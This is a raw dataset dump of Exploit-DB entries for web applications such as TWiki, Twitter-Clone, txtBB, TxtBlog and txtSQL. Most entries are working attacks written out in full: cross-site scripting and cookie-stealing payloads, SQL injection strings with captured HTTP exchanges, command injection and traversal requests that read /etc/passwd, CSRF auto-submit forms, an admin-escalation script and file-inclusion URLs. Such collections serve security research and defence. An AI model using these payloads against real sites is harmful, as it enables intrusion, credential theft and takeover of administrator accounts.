deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32646
Description: TWiki 4.x - 'URLPARAM' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-06
Author: Marc Schoenefeld

Exploit:
source: https://www.securityfocus.com/bid/32669/info

TWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

An HTML form field must exist containing an input value with specifying an encoding. As an example:

<input type="text" name="city" value="%URLPARAM{ "city" }%" />

THe following examples will then demonstrate this issue:

http://example.com/twiki/view/TWiki/WebSearch?search=%27a%20onmouseover=alert(document.cookie)%20%27

http://example.com/twiki/view/TWiki/ResetPassword?username="<script language=Javascript>alert('3y3 0wn j00 TWIKI')</script>
Exploit-DB #34842
Description: TWiki 5.0 - '/bin/view?rev' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-14
Author: DOUHINE Davy

Exploit:
source: https://www.securityfocus.com/bid/44103/info

TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.0.1 are vulnerable. 

GET /twiki/bin/view?rev=%27%3E%3Cscript%3Ealert%28Hello%29%3C/script%3E
Exploit-DB #34843
Description: TWiki 5.0 - bin/login Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2010-10-14
Author: DOUHINE Davy

Exploit:
source: https://www.securityfocus.com/bid/44103/info
 
TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to TWiki 5.0.1 are vulnerable. 

GET /twiki/bin/login?origurl=&ANYTHING%27%3E%3Cscript%3Ealert%28Hello%29%3C/script%3E
Exploit-DB #35761
Description: TWiki 5.0.1 - 'origurl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-18
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/47899/info

TWiki is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.0.2 are vulnerable. 


GET /twiki/bin/login/Sandbox/WebHome?%27%221=;origurl=1%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x00039C%29%3C/script%3E

GET /twiki/bin/login/Sandbox/WebHome?sudo=sudo;origurl=http://10.1.10.128/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
Exploit-DB #36162
Description: TWiki 5.0.2 - '/bin/view/Main/Jump?newtopic' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-22
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/49746/info

TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/Main/Jump?create=on&newtopic=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert%280x0051D1%29%3C/script%3E&template=WebCreateNewTopic&topicparent=3
Exploit-DB #36163
Description: TWiki 5.0.2 SlideShowPlugin - Slide Show Pages URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-22
Author: Mesut Timur

Exploit:
source: https://www.securityfocus.com/bid/49746/info
 
TWiki is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to TWiki 5.1.0 are vulnerable. 

http://example.com/do/view/TWiki/ATasteOfTWiki?&#039;"--></style></script><script>alert(0x002B48)</script>
Exploit-DB #26260
Description: TWiki TWikiUsers - Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2005-09-14
Author: B4dP4nd4

Exploit:
source: https://www.securityfocus.com/bid/14834/info

A remote command execution vulnerability affects the application.

The revision control function of the TWikiUsers script uses the backtick shell metacharacter to construct a command line. An attacker may use a specially crafted URI to execute arbitrary commands through the shell.

This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. 

http://www.example.com/cgi-bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd
Exploit-DB #26302
Description: TWiki TWikiUsers - INCLUDE Function Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2005-09-28
Author: JChristophFuchs

Exploit:
source: https://www.securityfocus.com/bid/14960/info

A remote command execution vulnerability affects the application.

The revision control function of the TWikiUsers script uses the backtick shell metacharacter to construct a command line. An attacker may use a specially crafted URI to execute arbitrary commands through the shell.

This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. 

%INCLUDE{ "Main.TWikiUsers" rev="2|less /etc/passwd" }%
Exploit-DB #38737
Description: Twilight CMS - DeWeS Web Server Directory Traversal
Type: webapps
Platform: php
Date: 2013-08-21
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/61906/info

Twilight CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Twilight CMS 0.4.2 is vulnerable; other versions may also be affected. 

nc [www.example.com] 80 GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1

nc [www.example.com] 80 GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/user list.dat HTTP/1.1
Exploit-DB #46139
Description: Twilio WEB To Fax Machine System Application 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2019-01-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: Fax Machine System Application 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/twilio-web-to-fax-machine-system-application-php-script/22139608
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/login_check.php
# 

#07 			header("Location:login.php");
#08 		}else{
#09 			$email = $_POST['email'];
#10 			$password = $_POST['password'];		
#11 			$sql = "SELECT * FROM user WHERE email = '$email' AND [CREDENTIAL_REDACTED]'";
#12 			$result = $conn->query($sql);
#13 			$counts     = mysqli_num_rows($result);       
#14 			if($counts > 0){

POST /[PATH]/login_check.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 75
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=1&[CREDENTIAL_REDACTED]=Login: undefined
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 13:24:24 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Location: dashboard.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/add_email.php?id=[SQL]
# 

#46     $sel = "select `id`, `number` from subscribers where id = '".$_REQUEST['id']."'";
#47     $exe = @mysqli_query($conn,$sel);
#48     $row = @mysqli_fetch_assoc($exe);
#49     $subscriber_number = $row['number'];

GET /[PATH]/add_email.php?id=-34%27%20union%20select%201,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR%2b1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 13:34:31 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #45247
Description: Twitter-Clone 1 - 'code' SQL Injection
Type: webapps
Platform: php
Date: 2018-08-23
Author: L0RD

Exploit:
# Exploit Title: Twitter-Clone 1 - 'code' SQL Injection
# Date: 2018-08-22
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# vulnerable files : [mailactivation.php , stalkers.php , search.php]
# vulnerable parameters : [name , code , id]

# 1) search.php :
# vulnerable parameter : name
# Type : Error-based
# Payload : 

%' AND extractvalue(1,concat(0x3a,database(),0x3a))%23

# vulnerable code :
if($_GET['name']!=""){
$what = $_GET['name'];
include "connect.php";
$users = mysqli_query($con, "SELECT id, username, followers, following,
tweets
  FROM users
 WHERE username LIKE '%$what%'
 ORDER BY username ASC
 LIMIT 0, 10
");

# 2) mailactivation.php :
# vulnerable parameter : code
# Type : Union query
# Payload : 

' UNION SELECT 1,user(),3,4,5,6%23

# vulnerable code :
include "connect.php";
$givenname = $_GET['username'];
$givencode = $_GET['code'];
$query = mysqli_query($con, "SELECT code, active
  FROM users
  WHERE code = '$givencode' AND username = '$givenname'
 ");
$row = mysqli_fetch_assoc($query);
$wantedcode = $row['code'];

# 3) stalkers.php :
# vulnerable parameter : id
# Type : Union query
# Payload : 

' UNION SELECT 1,2,user(),4,5,6

# vulnerable code :
if ($_GET['id'] != "") {
$theid = $_GET['id'];
include "connect.php";
$stalked = mysqli_query($con, "SELECT id, username, followers, following
 FROM users
  WHERE id = '$theid'
");
$row1 = mysqli_fetch_assoc($stalked);
$usern = $row1['username'];
Exploit-DB #45230
Description: Twitter-Clone 1 - 'userid' SQL Injection
Type: webapps
Platform: php
Date: 2018-08-21
Author: L0RD

Exploit:
# Exploit Title: Twitter-Clone 1 - 'userid' SQL Injection
# Date: 2018-08-21
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10

# POC : SQLi
# vulnerable files : follow.php , index.php
# vulnerable parameters : userid , username

# 1) follow.php :

# Parameters : userid , username
# Type : Union query
# Type : Time-based blind
# Payloads :

userid: ' UNION SELECT 1,2,user(),4,database(),6,7%23
username: ' AND sleep(10)%23

# vulnerable code :

if($_GET['userid']  && $_GET['username']){
if($_GET['userid']!=$user_id){
$follow_userid = $_GET['userid'];
$follow_username = $_GET['username'];
include 'connect.php';
$query = mysqli_query($con, "SELECT id
    FROM following
WHERE user1_id='$user_id' AND user2_id='$follow_userid'
");

# 2) index.php :

# vulnerable parameter : username
# Type : Union query
# Payload : 

' union select 1,2,user(),4,5,6

# vulnerable code :

if($_POST['login-btn']=="login-submit"){
if($_POST['username'] != "" && $_POST['password'] != ""){
$username = strtolower($_POST['username']);
include "connect.php";
$query = mysqli_query($con, "SELECT id, password
FROM users
 WHERE username='$username'");
Exploit-DB #45232
Description: Twitter-Clone 1 - Cross-Site Request Forgery (Delete Post)
Type: webapps
Platform: php
Date: 2018-08-21
Author: L0RD

Exploit:
# Exploit Title: Twitter-Clone 1 - Cross-Site Request Forgery (Delete Post)
# Date: 2018-08-21
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10

# Description :
# An issue was discovered in Twitter-Clone 1 which allows a remote
# attacker to force any victim to delete posts.

# POC :
# Delete posts exploit :

<html>
<head>
   <title>POC</title>
</head>
<body>
<form action='http://127.0.0.1/clone/twitter-clone/tweetdel.php?id="set
tweet id here of any post' method='post'>
  <input type='hidden' name='id' value='set tweet id here of any post' />
</form>
   <script>
      document.forms[0].submit();
   </script>
</body>
</html>
Exploit-DB #7997
Description: txtBB 1.0 RC3 - HTML/JS Injection / Arbitrary Add Admin Privileges
Type: webapps
Platform: php
Date: 2009-02-05
Author: cOndemned

Exploit:
<!--

txtBB <= 1.0 RC3 HTML/JS Injection - Add Admin Privileges Exploit
By cOndemned
	
Greetz: 
	ZaBeaTy, sid.psycho, Alfons Luja, vCore, irk4z & str0ke ;)


Exploitation:
	1. Create an account 
	2. Go to http://[host]/[txtbb10RC3_path]/index.php?type=account 
	3. Put exploit code into one of the fields ex. "Miasto" ([code] + City name)
	4. When admin enters U'r account - pwn3d - Your user will get admin rights


Exploit Source :

-->

<script>

var req = new XMLHttpRequest(); 

req.open('POST', 'admin.php?action=users&type=edit&login=USER_NICK&save=1', false); 
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 
req.send('signature=&avatar=&type=3&[CREDENTIAL_REDACTED]=Zapisz');

</script>

# milw0rm.com [2009-02-05]
Exploit-DB #7241
Description: TxtBlog 1.0 Alpha - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-27
Author: CWH Underground

Exploit:
============================================================
  TxtBlog (index.php m) Local File Inclusion Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 27 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : TxtBlog
 VERSION     : v.1.0 Alpha
 DOWNLOAD    : http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

function showMonth() {
	global $config_date_format, $txtblog_body, $txtblog_title, $config_title;

	$txtblog_body = "";
	$txtblog_title = "$config_title - Archives";

	$year = $_GET['y'];			
	$month = $_GET['m'];				

	$files = findFiles("data/$year/$month");	<<< BUG !!!!
	
	if (isset($files)) {
	foreach ($files as $file) {
				
		include ("data/$year/$month/$file");	<<< BUG !!!!
		$date_array = explode(" ",$date);
		$date = date($config_date_format, mktime($date_array[0], $date_array[1], $date_array[2], $date_array[3], $date_array[4], $date_array[5]));
		$txtblog_body .= "<span class='blog_title'>$title</span><br>\n<span class='blog_date'>$date</span><br>\n".bb2html($blog)."<br>\n<hr size='1'>\n";

	}
	}
}

---------
 Exploit
---------

[+] http://[Target]/[txtblogcms_path]/index.php?y=2005&m=01/../../../../../../../../etc/passwd%00


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-27]
Exploit-DB #5579
Description: txtCMS 0.3 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-09
Author: cOndemned

Exploit:
<!--
Name : txtCMS 0.3 (index.php) Local File Inclusion Exploit
Author : cOndemned
Conditions : Register_globals = On / Magic_quotes_gpc = Off
Greetz : irk4z, GregStar, ZaBeaTy, ElusiveN, Avanturka :***
-->

<html>
<head>
<title>txtCMS 0.3 (index.php) Local File Inclusion Exploit</title>
</head>
<body>
<form action="http://target.host/txtcmsv0.3/index.php" method="POST">
<input type="text" name="id" value="../file%00">
<input type="submit" value="show">
</form>
</body>
</html>

# milw0rm.com [2008-05-09]
Exploit-DB #27408
Description: txtForum 1.0.3/1.0.4 - Remote PHP Script Code Injection
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17061/info

txtForum is prone to a remote PHP code-injection vulnerability. 

An attacker can exploit this issue to facilitate a compromise of the application and the underlying system; other attacks are also possible.

<form action='http://www.example.com/txtforum104/login.php' method="post">
<input type="text" name="login_username" value="admin"/>
<input type="text" name="login_password" value="xyz"/>
<input type="text" name="skin" value="http://www.example.com"/>
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #6816
Description: txtshop 1.0b (Windows) - 'Language' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-23
Author: Pepelux

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
txtshop - beta 1.0 / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: txtshop
$ Version: <= 1.0
$ File affected: ADMIN/header.php
$ Download: http://sourceforge.net/projects/txtshop/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


--Bug --

4.	if (!$language)$language="ch";
5.	include_once("../lib/lang.".$language.".php");



-- Exploit --

http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00

# milw0rm.com [2008-10-23]
Exploit-DB #6224
Description: txtSQL 2.2 Final - 'startup.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-08-10
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : N/A                    ? ?                                    ?
?   Script   : txtSQL 2.2 Final       ? ?         Register Globals :         ?
?   Download : sourceforge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????

[RFI]
  
http://localhost/path/examples/txtSQLAdmin/startup.php?CFG[txtsql][class]=[SHELL]

   
??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, His0k4, Hussin X, Mr. SQL .

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-08-10]